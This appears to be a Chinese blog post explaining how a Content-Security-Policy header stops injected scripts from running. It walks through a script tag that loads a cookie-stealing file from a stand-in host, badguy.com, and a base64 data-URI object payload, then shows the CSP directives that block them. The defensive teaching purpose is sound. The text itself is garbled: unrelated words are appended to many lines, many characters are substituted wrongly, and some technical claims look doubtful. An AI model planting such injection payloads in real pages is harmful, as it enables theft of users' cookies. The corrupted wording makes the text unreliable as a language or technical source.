首先,什麼是最後一道防線?
網頁入侵都有一個過程,簡單來講,就是1.代碼注入,2.代碼執行。php
對於黑客來講,代碼注入後並不表明就萬事大吉了,由於此時代碼只是安靜地躺在受害者的服務器裏,什麼壞事都沒幹呢!html
因此必需要有代碼執行這一步。
今天要講的,就是如何阻止惡意代碼的執行。安全
好比個人某個網站 example.com 被注入了惡意代碼了,這段代碼長這樣:服務器
<script src="badguy.com/steal-your-cookies.js"></script>
這段代碼會從一個叫 badguy.com 的網站加載一個 js 腳本文件並執行。只要這段代碼被執行了,用戶的一些信息就會被竊取。cookie
Data URI scheme 設計的初衷是爲了把一些小的資源,好比圖片,直接嵌入到 HTML 中,避免了額外的加載。
好比,傳統的圖片代碼是這樣的:網絡
<img src="example.com/1.jpg" />
這種加載會額外消耗網絡帶寬,並增長網頁的響應時間
如今能夠這樣作:網站
<img src="data:image/gif;base64,編碼數據" />
這樣的話,只要加載一次,就能夠顯示圖片了。
不過,這種方式能夠被利用來執行JS代碼!
好比,黑客只要注入下面這段看起來人畜無害的代碼,用戶一打開網頁,就會……boom!(好吧,其實就是彈出個對話框,調戲下用戶)編碼
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgibmkgc2hpIFNCIG1hPyIpPC9zY3JpcHQ+"></object>
固然惡意代碼執行的方式多種多樣,這裏就不一一列舉了,你們有個概念便可。設計
CSP是 Content-Security-Policy 縮寫,基本做用是創建一套白名單,全部在白名單以外的代碼都不容許執行。code
Content-Security-Policy: script-src 'self'
如此一來,例1中的 steal-your-cookies.js
腳本便不會被加載,更不會被執行了。
Content-Security-Policy: object-src 'none'
如此一來,例2中的 base64 編碼後的代碼就沒法被執行了。
可是,除了 object 標籤外,img 標籤也是能夠執行 base64 代碼的,除了 img,還有 media, frame 等……
Content-Security-Policy: report-uri http://example.com/report.php
在 CSP 策略中加入 report-uri 指令,便可向特定網址發送當前網頁裏任何違反 CSP 策略的狀況。如此一來,管理員即可以知道本身的網站是否被入侵了。
接下來是廣告時間:
個人簡書:http://www.jianshu.com/u/0708...
個人知乎:https://www.zhihu.com/people/...
個人公衆號:OutOfRange
有事歡迎騷擾 ~